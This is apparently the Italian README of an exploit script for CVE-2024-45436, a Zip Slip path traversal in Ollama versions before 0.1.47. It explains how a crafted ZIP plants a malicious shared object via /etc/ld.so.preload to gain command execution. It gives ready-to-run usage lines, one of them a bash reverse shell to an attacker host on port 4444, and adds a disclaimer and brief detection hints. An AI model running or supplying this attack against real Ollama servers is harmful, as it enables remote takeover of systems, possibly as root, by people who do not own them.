
script di exploit per CVE-2024-45436
Un'implementazione pulita ed efficiente dell'exploit per la vulnerabilità di traversal ZIP di Ollama (CVE-2024-45436). 中文文档:README_CN.md
La CVE-2024-45436 è una vulnerabilità di path traversal (nota anche come "Zip Slip") nelle versioni di Ollama precedenti alla 0.1.47. La vulnerabilità consente agli attaccanti di scrivere file in posizioni arbitrarie del filesystem sfruttando una validazione impropria dei percorsi durante le operazioni di estrazione di file ZIP.
Il difetto risiede nella funzione extractFromZipFile nel file model.go di Ollama, che estrae i file del modello. Quando un file ZIP contiene voci con percorsi che includono sequenze di directory traversal (../), Ollama estrae questi file al di fuori della directory prevista, consentendo potenzialmente a un attaccante di sovrascrivere file critici di sistema.
Questo exploit sfrutta la vulnerabilità attraverso il seguente approccio:
hook.so) contenente codice di esecuzione di comandi arbitrari../../../../../../../../../../etc/ld.so.preload - Utilizzato per precaricare oggetti condivisi personalizzati../../../../../../../../../../tmp/hook.so - L'oggetto condiviso malizioso stessoQuando viene eseguito con successo, il payload opera con gli stessi permessi del servizio Ollama, consentendo potenzialmente l'esecuzione remota di codice come root.
python exp.py <target_url> <command>
target_url: L'URL dell'istanza Ollama vulnerabile (es., http://example.com:11434)command: Il comando da eseguire sul sistema di destinazione--no-cleanup: Non rimuovere i file temporanei dopo lo sfruttamento (utile per il debug)Utilizzo base:
python exp.py http://target-server:11434 "id > /tmp/pwned"
Reverse shell:
python exp.py http://target-server:11434 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"
Questo strumento è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati. L'uso non autorizzato contro sistemi senza permesso esplicito è illegale e contrario all'etica. L'autore non si assume alcuna responsabilità per l'uso improprio di questo software.
Le organizzazioni possono rilevare se sono vulnerabili:
/api/version/etc/ld.so.preload o /tmp/hook.soLa vulnerabilità sfrutta una validazione impropria dei percorsi nel processo di estrazione dei file ZIP di Ollama. Quando un modello viene caricato tramite l'API, l'applicazione estrae i file da un archivio ZIP senza sanificare adeguatamente i percorsi dei file, consentendo attacchi di directory traversal.
Il file ld.so.preload viene utilizzato in Linux per specificare le librerie condivise che devono essere caricate prima di tutte le altre. Scrivendo in questo file, l'attaccante può garantire che la propria libreria maliziosa venga caricata da qualsiasi nuovo processo, di fatto dirottando l'esecuzione dei programmi.
Questo progetto è concesso in licenza secondo i termini della Licenza MIT - consultare il file LICENSE per i dettagli.